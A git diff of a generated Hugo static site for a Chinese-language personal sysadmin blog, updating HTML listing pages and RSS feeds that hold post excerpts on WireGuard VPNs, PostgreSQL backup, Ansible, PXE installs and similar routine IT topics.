+ +
+ + + + + + + + + + + + + +
+ +
+
+
+ + + + + + +
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/amp/page/7/index.html b/public/amp/page/7/index.html new file mode 100644 index 00000000..d60753b9 --- /dev/null +++ b/public/amp/page/7/index.html @@ -0,0 +1,487 @@ + + + + Parsa | Personal Blog Template + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ + + +
+
+
+ + + + + +
+
+
+ +
+
+
+ + + +
+
+
+ + +
+ +
+ +
+
+ post-thumb +

[筆記]

+

[筆記] 詭異的client&server間連線的問題,或許跟KVM有關係?

+

這是發生在一個夜黑風高的寂寥深夜….. ( What The FXXX … )

+ +

來到這個環境之後,有一個很詭異的狀況一直困擾著我

+ +

在每個分公司,都會有一台伺服器作為KVM Host

+ +

上面跑兩台VM,一台作為ansible controller (目前沒作用)

+ +

另一台作為這邊所謂的 “Build Server”

+ +

用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)

+ +

問題就發生在這台 Build Server 上…

+ read more +
+
+ +
+
+ post-thumb +

[筆記]

+

Nice Du Report Tool Durep

+

最近在重新規劃前人留下的backup爛攤子 +各個伺服器統一備份到一台backup storage +想說如果每天能夠看到backup storage的磁碟用量的話 +就可以抓出備份空間成長速度、推估需要多大的磁碟空間 +找了一些工具,結果發現 durep 這個 ubuntu 內建的工具 +基本上可以滿足我的需求

+ read more +
+
+ +
+
+ post-thumb +

[筆記]

+

Bookstack Docker

+

Bookstack 是一套非常好用的線上”筆記”系統

+ +

他用圖書館/書本的概念,讓使用者可以建立自己的”圖書館”

+ +

同時在圖書館內建立不同的”書籍”

+ +

而且支援 Markdown 語法

+ +

其他的方式像是在nextcloud上編輯 md檔案(字體太小)

+ +

或者是boostnote(只能在本機)

+ +

都或多或少有點小缺點

+ +

Bookstack則是沒有這些問題,不過就是系統「大」了點…

+ +

不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)

+ read more +
+
+ +
+
+ post-thumb +

[筆記]

+

筆記- 啟用群暉NAS (Synology NAS)的SSH Server 透過Publickey 認證免密碼登入

+

公司內有幾台NAS,其中有一台用來放開發人員的postgresql dump file +之前都是主要的開發人員上傳到google drive,分享出來 ,然後其他人去抓回來

+ +

這樣子有個問題是,當server要存取這些檔案時,就沒辦法了,除非透過一些 3rd party的軟體 +像是這篇

+ +

https://www.omgubuntu.co.uk/2017/04/mount-google-drive-ocamlfuse-linux

+ +

或者是這篇

+ +

https://www.maketecheasier.com/mount-google-drive-ubuntu/

+ +

但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet +所以導致明明檔案就在那邊,但是要取得就是很麻煩

+ read more +
+
+ +
+
+ +
+ + + + + + + + + + + + + +
+ +
+
+
+ + + + + + +
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/apple-touch-icon-precomposed.png b/public/apple-touch-icon-precomposed.png new file mode 100644 index 00000000..4b4f55b8 Binary files /dev/null and b/public/apple-touch-icon-precomposed.png differ diff --git a/public/apple-touch-icon.png b/public/apple-touch-icon.png new file mode 100644 index 00000000..392707bf Binary files /dev/null and b/public/apple-touch-icon.png differ diff --git a/public/author/eric-chang/index.html b/public/author/eric-chang/index.html index a61afbdf..af7fa35b 100644 --- a/public/author/eric-chang/index.html +++ b/public/author/eric-chang/index.html @@ -1,212 +1,70 @@ - - - - - - - - - - - Eric Chang | MCの飄狂山莊㊣ - - - - - - - - - - - - - - + + + + + + + + Eric Chang | MCの飄狂山莊㊣ + + + + + + + + + - - - - - - - - - - - - - - - - - - - -
-
- -
-

MCの飄狂山莊㊣

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
+ + +
+ +
- - -
- - - -
- - - - - -
- - - - -
-

[推薦] ulauncher ubuntu 18.04 底下,好用的 app launcher / Recommended Ulauncher in Ubuntu 1804

-
- - - 2019-10-04 - - - - - - - - - - - - - - - Eric Chang - -
- - -

這兩天在找關於在 ubuntu 中做搜尋的軟體

- -

意外找到一個非常好用的工具 ulauncher

- -

- - - - - -
- - - - +
+ +
+
+

Eric Chang

+ +
+
+ +
+ - - -
- -
- - - - - -
- - - - -
-

[筆記] 在ubuntu 18.04安裝psql 11 以及 pg_auto_failover / install psql 11 and pg_auto_failover in ubuntu 18.04

-
- - - 2019-09-20 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近都在弄postgresql

+
+ +
+ +
+ +
+
+

[筆記] 在ubuntu 18.04安裝psql 11 以及 pg_auto_failover / install psql 11 and pg_auto_failover in ubuntu 18.04

+

最近都在弄postgresql

備份、還原測試得差不多了,就等著看到時候要用什麼方式

@@ -216,550 +74,74 @@

感覺挺不錯的,看起來設定很簡單,雖然之前已經測試了 keepalived 做 HA

-

不過,反正當作練功嘛,多測試一套也不錯!

- -

- - - - - -
- - - - +

不過,反正當作練功嘛,多測試一套也不錯!

- - -
- -
- - - - - -
- - - - -
-

[筆記] 測試 USB 3.1 Gen2 NVME SSD 外接盒 & 內建pci-e ssd & 外接SATA SSD / Bencmark With External Internal Nvme Ssd and External Sata Ssd

-
- - - 2019-09-10 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

前幾天在淘寶上買了個 SSK 的USB 3.1 Gen2 (type-c) NVME SSD 外接盒 +

+ +
+
+

[筆記] 測試 USB 3.1 Gen2 NVME SSD 外接盒 & 內建pci-e ssd & 外接SATA SSD / Bencmark With External Internal Nvme Ssd and External Sata Ssd

+

前幾天在淘寶上買了個 SSK 的USB 3.1 Gen2 (type-c) NVME SSD 外接盒 手邊也剛好有一條多的intel 600p nvme ssd 就順手來做個比較 -目標是看看有沒有可能直接用外接的SSD來跑postgresql

- - - - - -
- - - - +目標是看看有沒有可能直接用外接的SSD來跑postgresql

- - -
- -
- - - - - -
- - - - -
-

[筆記] 用zfs的snapshot 快照功能來做 postgresql 的備份還原 / Postgresql Backup Restore Using Zfs Snapshot

-
- - - 2019-09-06 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

前面測試了用pgbarman / pgbackrest 來備份 postgresql

+
+ +
+
- - -
- -
- - - - - -
+ +
+ - - -
- -
- - - - - -
+ + - -
- - - - - -
- - - - -
-

[筆記] 在Ubuntu 18.04 下 透過 pgbarman streaming backup 備份 postgresql 10/ backup postgresql 10 with pgbarman straming backup in ubuntu 18.04

-
- - - 2019-08-23 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

很久以前就有看到這個用來備份postgresql 的 pgbarman

+
+ +
+
+

[筆記] 在Ubuntu 18.04 下 透過 pgbarman streaming backup 備份 postgresql 10/ backup postgresql 10 with pgbarman straming backup in ubuntu 18.04

+

很久以前就有看到這個用來備份postgresql 的 pgbarman

https://www.pgbarman.org/

前幾天老闆在slack 上面又提到,所以這次就花了點時間來玩玩看

-

不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的…

- -

- - - - - -
- - - - +

不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的…

- - -
- -
- - - - - -
- - - - -
-

[筆記] 在ubuntu 18.04 下安裝nvidia 顯示卡驅動程式以及 pgstrom / Install Nvidia Driver Cuda Pgstrom in Ubuntu 1804

-
- - - 2019-08-20 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

因為老闆說要試試看用GPU 來跑postgresql 威力

+
+ +
+
+

[筆記] 在ubuntu 18.04 下安裝nvidia 顯示卡驅動程式以及 pgstrom / Install Nvidia Driver Cuda Pgstrom in Ubuntu 1804

+

因為老闆說要試試看用GPU 來跑postgresql 威力

手邊剛好有一張 geforce gt 720

一開始沒想太多,看到有這張卡的驅動程式,然後CUDA也有支援

-

就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了…

- -

- - - - - -
- - - - +

就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了…

- - -
- -
- - - - - -
- - - - -
-

[筆記] 在gcp 中用wireguard建立VPN時,不要用 10.0.0.0/16 網段/Do No Use 10 0 0 0 Private Ipaddr in GCP

-
- - - 2019-08-16 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近一直在玩 wireguard ,先前把各個分公司和總部的VPN 改用 wireguard 建立

+
+ +
+
+

[筆記] 在gcp 中用wireguard建立VPN時,不要用 10.0.0.0/16 網段/Do No Use 10 0 0 0 Private Ipaddr in GCP

+

最近一直在玩 wireguard ,先前把各個分公司和總部的VPN 改用 wireguard 建立

想說再打個VPN tunnel 來當跳板連 ptt 好了

@@ -771,356 +153,28 @@

所以改用google cloud platform 的free tier 來做

-

反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態

- -

- - - - - -
- - - - +

反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態

- - -
- -
- - - - - -
- - - - -
-

[筆記] 透過 wireguard 建立多點 site to site VPN / Multiple Site to Site VPN Using Wireguard

-
- - - 2019-08-13 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

因為實在受夠了現在用的 openwrt + strongswan 建立 IPSec VPN

- -

雖然說其實沒有什麼不好,但是畢竟不是我建立的,而當初的文件也都不見了

- -

完全沒辦法了解當時設計的邏輯,造成後續debug 困難

- -

可以想像一下,一台VPN router ping 不到remote、ping不到internet、甚至ping不到自己 是要怎麼debug !?(翻桌

- -

之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點

- -

這次試試看躲在gateway後面,看看能不能建立多點的VPN環境

- -

- - - - - -
- - - + +
+
+ + -
- - -
- - - -
- - - - - -
- - - -
- - -
- + +
+
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + \ No newline at end of file diff --git a/public/author/eric-chang/index.xml b/public/author/eric-chang/index.xml index 638c8c39..8d48dd22 100644 --- a/public/author/eric-chang/index.xml +++ b/public/author/eric-chang/index.xml @@ -5,11 +5,26 @@ https://h.cowbay.org/author/eric-chang/ Recent content in Eric Chang on MCの飄狂山莊㊣ Hugo -- gohugo.io - Fri, 04 Oct 2019 14:12:15 +0800 + Mon, 14 Oct 2019 13:59:58 +0800 + + [筆記] 超強的ALL-in-One VPN Server streisand / Awesome All in One Vpn Server Streisand + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + Mon, 14 Oct 2019 13:59:58 +0800 + + https://h.cowbay.org/post/awesome-all-in-one-vpn-server-streisand/ + <p>最近上班閒得發慌,沒事就上 github 找看看有沒有什麼好玩的專案</p> + +<p>就不小心發現了這個 streisand</p> + +<p><a href="https://github.com/StreisandEffect/streisand">https://github.com/StreisandEffect/streisand</a></p> + +<p>玩了一下,發現這根本就是終極的VPN Server solution ..</p> + + [推薦] ulauncher ubuntu 18.04 底下,好用的 app launcher / Recommended Ulauncher in Ubuntu 1804 https://h.cowbay.org/post/recommended-ulauncher-in-ubuntu-1804/ @@ -18,9 +33,7 @@ https://h.cowbay.org/post/recommended-ulauncher-in-ubuntu-1804/ <p>這兩天在找關於在 ubuntu 中做搜尋的軟體</p> -<p>意外找到一個非常好用的工具 ulauncher</p> - -<p></p> +<p>意外找到一個非常好用的工具 ulauncher</p> @@ -39,9 +52,7 @@ <p>感覺挺不錯的,看起來設定很簡單,雖然之前已經測試了 keepalived 做 HA</p> -<p>不過,反正當作練功嘛,多測試一套也不錯!</p> - -<p></p> +<p>不過,反正當作練功嘛,多測試一套也不錯!</p> @@ -65,9 +76,7 @@ <p>這次改從system file level 來下手</p> -<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> - -<p></p> +<p>採用zfs 的快照來備份、還原postgresql 資料庫</p> @@ -76,9 +85,7 @@ Thu, 05 Sep 2019 11:42:28 +0800 https://h.cowbay.org/post/backup-restore-postgresql-with-pgbackrest/ - <p>這兩天在測試pgbackrest ,簡單筆記一下測試狀況</p> - -<p></p> + <p>這兩天在測試pgbackrest ,簡單筆記一下測試狀況</p> @@ -87,9 +94,7 @@ Fri, 23 Aug 2019 14:54:13 +0800 https://h.cowbay.org/post/pgbarman-in-ubuntu-1804-postgresql-10-via-ssh/ - <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> - -<p></p> + <p>這篇繼續講 pgbarman 透過 rsync/ssh 來備份 postgresql 資料庫的方式</p> @@ -104,9 +109,7 @@ <p>前幾天老闆在slack 上面又提到,所以這次就花了點時間來玩玩看</p> -<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> - -<p></p> +<p>不過呢,雖然有弄起來,但是還真不知道有些問題是怎麼解決的&hellip;</p> @@ -121,9 +124,7 @@ <p>一開始沒想太多,看到有這張卡的驅動程式,然後CUDA也有支援</p> -<p>就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了&hellip;</p> - -<p></p> +<p>就直接從桌機拔下來,接去LAB Server ,然後就開始一連串的難關了&hellip;</p> @@ -144,9 +145,7 @@ <p>所以改用google cloud platform 的free tier 來做</p> -<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> - -<p></p> +<p>反正只是拿來當跳板,不會有什麼流量、運算產生,可以一直保持免費的狀態</p> @@ -165,9 +164,7 @@ <p>之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點</p> -<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> - -<p></p> +<p>這次試試看躲在gateway後面,看看能不能建立多點的VPN環境</p> @@ -194,9 +191,7 @@ <p>今天看到文章說用wireguard 可以更簡單</p> -<p>於是研究了一下,發現還真的很簡單!</p> - -<p></p> +<p>於是研究了一下,發現還真的很簡單!</p> @@ -216,9 +211,7 @@ <p>一直都是放在crontab 裡面執行,也就沒有去管他</p> -<p>反正也沒有人關心結果怎樣 (攤手</p> - -<p></p> +<p>反正也沒有人關心結果怎樣 (攤手</p> @@ -241,9 +234,7 @@ <p>就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了</p> -<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> - -<p></p> +<p>看似很簡單的一件事情,卻搞了我兩天&hellip;.</p> @@ -271,9 +262,7 @@ <p>尤其是有牽涉到從外部導入yaml檔案時,更是常常讓我不知道到底該怎麼抓出想要的變數</p> -<p>這次還是用selectattr 來處理,希望下次能夠記得&hellip;</p> - -<p></p> +<p>這次還是用selectattr 來處理,希望下次能夠記得&hellip;</p> @@ -290,9 +279,7 @@ <p>解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多</p> -<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> - -<p></p> +<p>只要下載teamviewer被控端,開啟後報ID 給協助者就好了</p> @@ -337,9 +324,7 @@ <p>之前就記得有這個xclip/xsel 可以用,但是一直沒有弄清楚怎麼執行</p> -<p>早上研究了一下,順便做個筆記。</p> - -<p></p> +<p>早上研究了一下,順便做個筆記。</p> @@ -356,9 +341,7 @@ <p>也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了</p> -<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> - -<p></p> +<p>然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!</p> @@ -373,9 +356,7 @@ <p>翻了一下 bash_history ,裡面也只有下過哪些指令,沒有紀錄時間,完全沒有參考價值(攤手)</p> -<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p> - -<p></p> +<p>所以翻了一下網路,至少把這兩台主要跑ansible的機器的log功能補上紀錄所有指令以及時間的部份</p> @@ -388,9 +369,7 @@ <p>想說把本機的zpool 拆掉,重新建立一個raid0 的空間來做clone/migrate</p> -<p>可是一直出現device busy的錯誤訊息</p> - -<p></p> +<p>可是一直出現device busy的錯誤訊息</p> @@ -401,8 +380,7 @@ https://h.cowbay.org/post/transfer-cent62-using-rsync/ <p>公司的一台老伺服器空間不足了,要執行指令都會中斷,所以想要擴充空間。</p> -<p>看起來不難搞,事實上&hellip;.. -</p> +<p>看起來不難搞,事實上&hellip;..</p> @@ -430,9 +408,7 @@ <p>可以很簡單快速的備份、恢復系統狀態</p> -<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> - -<p></p> +<p>可是不知道為什麼,在ubuntu 18.04 上安裝就是會發生錯誤&hellip;.</p> @@ -443,8 +419,7 @@ https://h.cowbay.org/post/install-ubuntu1804-on-dell-6ir-raid-controller/ <p>買了一張 DELL 6/iR 低階的raid 卡</p> -<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip; -</p> +<p>來測試把系統裝在硬體做的RAID上,結果沒想到居然不能開機&hellip;</p> @@ -457,9 +432,7 @@ <p>因為新開的機器大部分都是在proxmox上,所以很少碰實體機器了</p> -<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> - -<p></p> +<p>結果在安裝過程中,做raid碰到一些問題,來紀錄一下</p> @@ -474,9 +447,7 @@ <p>然後把Freenas 安裝在隨身碟上</p> -<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> - -<p></p> +<p>不過會一直出現Smartd failed to start 的錯誤訊息</p> @@ -493,9 +464,7 @@ <p>只是因為原來的設定有用mdadm 做raid1</p> -<p>這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機</p> - -<p></p> +<p>這部份導致移轉過去proxmox 後,會出現raid degrade 導致無法正常開機</p> @@ -510,9 +479,7 @@ <p>原本的作法是把這個設定好的環境,丟到自己建立的gitea 上面</p> -<p>然後每到一台新的機器,就要去clone 下來</p> - -<p></p> +<p>然後每到一台新的機器,就要去clone 下來</p> @@ -535,9 +502,7 @@ <p>一來是已經過保,二來是DS415+ 本身就有intel bug,三來是因為對synology的NAS 實在沒有愛&hellip;</p> -<p>不過主管還是希望能夠先問群暉維修的費用多少</p> - -<p></p> +<p>不過主管還是希望能夠先問群暉維修的費用多少</p> @@ -562,9 +527,7 @@ <p>就是到貨有點久,等了兩個禮拜左右,一直到昨天東西才寄到</p> -<p>今天就花了點時間測試一下</p> - -<p></p> +<p>今天就花了點時間測試一下</p> @@ -577,9 +540,7 @@ <p>有提到怎麼用 with_items / set_fact 來取得在yaml 檔案中的清單</p> -<p>不過就是有點醜</p> - -<p></p> +<p>不過就是有點醜</p> @@ -631,9 +592,7 @@ } ] -</code></pre> - -<p></p> +</code></pre> @@ -648,9 +607,7 @@ <p>所以這次改用docker來建立,根本五分鐘不到就建好了(挖鼻孔)</p> -<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> - -<p></p> +<p>不過呢,很討厭的是,一進去就發現語系採用的是簡體中文</p> @@ -665,9 +622,7 @@ <p>但是希望能夠不同team的人用不同的資料庫使用者</p> -<p>這樣萬一出事,會比較好抓兇手??</p> - -<p></p> +<p>這樣萬一出事,會比較好抓兇手??</p> @@ -688,9 +643,7 @@ <p>用途包含了DHCP Server / Proxy Server (squid3) / APT Proxy (squid-deb-proxy)</p> -<p>問題就發生在這台 Build Server 上&hellip;</p> - -<p></p> +<p>問題就發生在這台 Build Server 上&hellip;</p> @@ -729,9 +682,7 @@ <p>Bookstack則是沒有這些問題,不過就是系統「大」了點&hellip;</p> -<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> - -<p></p> +<p>不過還好有人做成docker的方式來啟動,大大的降低了建置的難度(其實也沒有很難啦,只是要裝個PHP、弄個DB而已)</p> @@ -753,9 +704,7 @@ <p><a href="https://www.maketecheasier.com/mount-google-drive-ubuntu/">https://www.maketecheasier.com/mount-google-drive-ubuntu/</a></p> <p>但是手邊的伺服器,原則上除非有必要,不然都沒有開放internet -所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> - -<p></p> +所以導致明明檔案就在那邊,但是要取得就是很麻煩</p> diff --git a/themes/public/author/eric-chang/page/1/index.html b/public/author/eric-chang/page/1/index.xml/index.html similarity index 100% rename from themes/public/author/eric-chang/page/1/index.html rename to public/author/eric-chang/page/1/index.xml/index.html diff --git a/public/author/eric-chang/page/2/index.html b/public/author/eric-chang/page/2/index.html index a6c80063..78457ba5 100644 --- a/public/author/eric-chang/page/2/index.html +++ b/public/author/eric-chang/page/2/index.html @@ -1,137 +1,65 @@ - - - - - - - - - - - Eric Chang | MCの飄狂山莊㊣ - - - - - - - - - - - - - - + + + + + + + + Eric Chang | MCの飄狂山莊㊣ + + + + + + + + + - - - - - - - - - - - - - - - - - - - -
-
- -
-

MCの飄狂山莊㊣

- - What’s the Worst That Could Happen? - -
- - - - -
- - -
-
+ + +
+ +
+
+ +
+
+

Eric Chang

+ +
+
+ +
+
+

[筆記] 透過 wireguard 建立多點 site to site VPN / Multiple Site to Site VPN Using Wireguard

+

因為實在受夠了現在用的 openwrt + strongswan 建立 IPSec VPN

+

雖然說其實沒有什麼不好,但是畢竟不是我建立的,而當初的文件也都不見了

-
- - - -
- - - - - -
- - - - -
-

[筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters

-
- - - 2019-08-06 - - - - +

完全沒辦法了解當時設計的邏輯,造成後續debug 困難

- - - - 筆記 - - - +

可以想像一下,一台VPN router ping 不到remote、ping不到internet、甚至ping不到自己 是要怎麼debug !?(翻桌

- - Eric Chang - -
+

之前買了兩台edgerouter X 拿來玩了一下 wireguard,感覺還不錯,不過只有測試到點對點

- -

之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt

+

這次試試看躲在gateway後面,看看能不能建立多點的VPN環境

+
+
+ +
+
- - -
- -
- - - - - -
- - - - -
-

[筆記] 為了保存log 用script 指令執行ansible / Another Way to Keep Ansible Log using script command

-
- - - 2019-08-05 - - - - - - - - - ansible - - - - - - Eric Chang - -
- - -

之前為了能夠在執行完 ansible playbook 後,能有個log 可以看

+
+ +
+
- - -
- -
- - - - - -
- - - - -
-

[筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install

-
- - - 2019-07-31 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近有個任務,需要大量安裝client

+
+ +
+
+

[筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install

+

最近有個任務,需要大量安裝client

想用PXE來處理,只要user開機按F12(acer 桌機) 選擇PXE Boot

@@ -322,238 +116,38 @@

就送出一封郵件來通知我,說已經完成安裝,可以執行ansible 了

-

看似很簡單的一件事情,卻搞了我兩天….

- -

- - - - - -
- - - - +

看似很簡單的一件事情,卻搞了我兩天….

- - -
- -
- - - - - -
- - - - -
-

[ansible] 用 ip 位置判斷是否要執行task /ansible run task depends on ipaddr

-
- - - 2019-07-23 - - - - - - - - - ansible - - - - - - Eric Chang - -
- - -

因為工作上的需要,要修改client端的 /etc/environment 檔案

+
+ +
+
+

[ansible] 用 ip 位置判斷是否要執行task /ansible run task depends on ipaddr

+

因為工作上的需要,要修改client端的 /etc/environment 檔案

在有權限使用proxy 服務的user的環境中,加入proxy 的設定

原本的清單中,有host/user/ip 這幾個值可以拿來判斷

-

proxy server 那邊是採用ip 來控制,所以這邊也跟著用 ip 來判斷要不要修改 /etc/environment

- - - - - -
- - - - +

proxy server 那邊是採用ip 來控制,所以這邊也跟著用 ip 來判斷要不要修改 /etc/environment

- - -
- -
- - - - - -
- - - - -
-

[ansible] 引用事先定義好的yaml檔裡面的變數 - Ansible Selectattr From List in Dictionary file

-
- - - 2019-07-01 - - - - - - - - - Ansible - - - - - - Eric Chang - -
- - -

在ansible中,關於如何引用自定義的變數,一直讓我很頭疼

+
+ +
+
- - -
- -
- - - - - -
- - - - -
-

linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral

-
- - - 2019-06-20 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

+
+ +
+
+

linux底下遠端遙控&管理的好用系統 Meshcentral / Remote Management & control system Meshcentral

+

之前在LAN/windows環境下,一直都是用ultravnc/winvnc/tigervnc之類的VNC軟體

但是如果要過 internet ,就會碰到各種開port的問題

@@ -561,84 +155,14 @@

解決了開PORT的問題,讓被控端(通常是資訊技術相對弱勢,需要接受幫助的一方)不需要懂太多

-

只要下載teamviewer被控端,開啟後報ID 給協助者就好了

- -

- - - - - -
- - - - +

只要下載teamviewer被控端,開啟後報ID 給協助者就好了

- - -
- -
- - - - - -
- - - - -
-

Install Asus 10G NIC XG-C100C in Proxmox

-
- - - 2019-06-17 - - - - - - - - - Proxmox - - - - - - Eric Chang - -
- - -

前幾天接的一個case

+
+ +
+
+

Install Asus 10G NIC XG-C100C in Proxmox

+

前幾天接的一個case

因為費用的關係,所以沒有考慮用傳統定義上的伺服器(DELL R640)

@@ -648,506 +172,50 @@

既然storage這邊選用了10G的機種,伺服器上當然也要增加10G網卡

-

一樣,成本考量,就不用INTEL 了,買了這張 ASUS 10G 網卡

- - - - - -
- - - - +

一樣,成本考量,就不用INTEL 了,買了這張 ASUS 10G 網卡

- - -
- -
- - - - - -
+ +
+ - - -
- -
- - - - - -
- - - - -
-

Transfer File Content Using Xclip in Terminal

-
- - - 2019-05-17 - - - - - - - - - linux - - - - - - Eric Chang - -
- - -

工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。

+
+ +
+
+

Transfer File Content Using Xclip in Terminal

+

工作上常會需要用ssh登入遠端主機檢查LOG,有必要的時候,還要把log複製回本機來處理。

以前都是傻傻的用 scp 傳檔案

之前就記得有這個xclip/xsel 可以用,但是一直沒有弄清楚怎麼執行

-

早上研究了一下,順便做個筆記。

- -

- - - - - -
- - - - +

早上研究了一下,順便做個筆記。

- - -
- -
- - - - - -
- - - - -
-

[筆記] inxi 蒐集詳盡的硬體資訊 / inxi Collect Detail Hardware Info

-
- - - 2019-04-23 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
- - -

最近因為一直碰到硬碟故障的問題,算起來那一批同時購買的5X顆 seagate 2T硬碟,已經有一半以上故障返修了….

- -

然後又因為一直沒有添購新的硬碟,只能用這些快過保/已過保的撐著

- -

所以最近不斷的在更換機器內的硬碟,而且還沒有熱插拔!

- -

也導致原本負責處理盤點資產的同事困擾,因為跟手邊的紀錄已經對不起來了

- -

然後就變成要對資產的時候,需要一台一台登入,然後去下不同的指令,取得想要的硬體資訊,超級麻煩的!

- -

- - - - - -
- - - + +
+
+ + - - - -
- - - -
- - - - - - - -
- - - - - - -
- + +
+
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + \ No newline at end of file diff --git a/public/author/eric-chang/page/2/index.xml b/public/author/eric-chang/page/2/index.xml new file mode 100644 index 00000000..4b97e3cc --- /dev/null +++ b/public/author/eric-chang/page/2/index.xml @@ -0,0 +1,170 @@ + + + Eric Chang - MCの飄狂山莊㊣ + https://h.cowbay.org/author/eric-chang/ + Recent content in Eric Chang on MCの飄狂山莊㊣ + Hugo -- gohugo.io + Fri, 04 Oct 2019 14:12:15 +0800 + + + + + [筆記] 在edgerouter上用wireguard 建立site to site VPN / Site to Site Vpn Using Wireguard in Two Edgerouters + https://h.cowbay.org/post/site-to-site-vpn-using-wireguard-in-two-edgerouters/ + Tue, 06 Aug 2019 17:14:17 +0800 + + https://h.cowbay.org/post/site-to-site-vpn-using-wireguard-in-two-edgerouters/ + <p>之前總部和分公司之間 是用buffalo 的小AP 灌 openwrt</p> + +<p>然後用strongswan 來打 IPSEC site to site VPN</p> + +<p>config 看起來不是很難 (只是看起來)</p> + +<p>但是實際上已經找不到當初的文件</p> + +<p>所以要維護很困難(光那些RSA KEY 就不知道為何、如何產生)</p> + +<p>後來採購了兩台edgerouter X 做測試</p> + +<p>也用openvpn 成功的建立了 site to site VPN</p> + +<p>本來想說 openvpn 已經夠簡單了</p> + +<p>今天看到文章說用wireguard 可以更簡單</p> + +<p>於是研究了一下,發現還真的很簡單!</p> + + [筆記] 為了保存log 用script 指令執行ansible / Another Way to Keep Ansible Log using script command + https://h.cowbay.org/post/another-way-to-keep-ansible-log/ + Mon, 05 Aug 2019 16:24:40 +0800 + + https://h.cowbay.org/post/another-way-to-keep-ansible-log/ + <p>之前為了能夠在執行完 ansible playbook 後,能有個log 可以看</p> + +<p>所以在每次執行的時候,都要加入 tee 的指令</p> + +<p>像是</p> + +<pre><code>ANSIBLE_CONFIG=/home/D/ansiblecontrol/ansible.cfg /usr/local/bin/ansible-playbook /home/D/ansiblecontrol/playbook.user_client.yml --vault-password-file=/home/D/ansiblecontrol/vault.passwd -i /home/D/ansiblecontrol/inventory/production -f1 --limit tyuserclients |tee /tmp/tyuserclients.log +</code></pre> + +<p>一直都是放在crontab 裡面執行,也就沒有去管他</p> + +<p>反正也沒有人關心結果怎樣 (攤手</p> + + [筆記] 用pxe 安裝系統,完成後送出郵件通知 / send mail notification after pxe install + https://h.cowbay.org/post/send-mail-to-notify-after-pxe-install/ + Wed, 31 Jul 2019 11:06:33 +0800 + + https://h.cowbay.org/post/send-mail-to-notify-after-pxe-install/ + <p>最近有個任務,需要大量安裝client</p> + +<p>想用PXE來處理,只要user開機按F12(acer 桌機) 選擇PXE Boot</p> + +<p>然後選擇OS版本,就可以自動進行安裝</p> + +<p>安裝完成後,會自動重新開機,接著就用ansible來做user環境設定</p> + +<p>PXE的部份本來是沒有什麼問題,自動安裝系統的部份都做好了</p> + +<p>可是因為這次的量比較多,想說讓每一台在完成PXE安裝後的第一次重開機</p> + 